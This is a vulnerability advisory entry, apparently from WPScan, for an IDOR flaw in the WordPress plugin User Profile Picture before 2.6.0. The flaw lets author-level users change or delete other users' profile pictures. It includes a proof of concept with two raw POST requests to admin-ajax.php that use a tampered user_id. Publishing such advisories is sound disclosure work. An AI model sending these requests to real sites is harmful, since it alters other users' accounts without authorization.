Lucene search

K
wpvulndbApple502jWPVDB-ID:79982EA9-4733-4B1E-A43E-17629C1136DE
HistoryJun 28, 2021 - 12:00 a.m.

User Profile Picture < 2.6.0 - Arbitrary User Picture Change/Deletion via IDOR

2021-06-2800:00:00
apple502j
wpscan.com
12
arbitrary user picture change
idor issue
user profile picture
burp suite
proxy
wordpress security

EPSS

0.001

Percentile

30.5%

The plugin was affected by an IDOR issue, allowing users with the upload_image capability (by default author and above) to change and delete the profile pictures of other users (including those with higher roles).

PoC

Use a proxy such as Burp Suite to capture the request made when change your own profile picture, then tamper with the user_id parameter to change someone’s else picture POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 89 Connection: close Cookie: [author+] action=metronet_add_thumbnail&post;_id=1105&user;_id=1&thumbnail;_id=544&_wpnonce=b0db44185f Same thing can be done to remove the profile picture of any user: POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 75 Connection: close Cookie: [author+] action=metronet_remove_thumbnail&post;_id=1105&user;_id=1&_wpnonce=b0db44185f

EPSS

0.001

Percentile

30.5%

Related for WPVDB-ID:79982EA9-4733-4B1E-A43E-17629C1136DE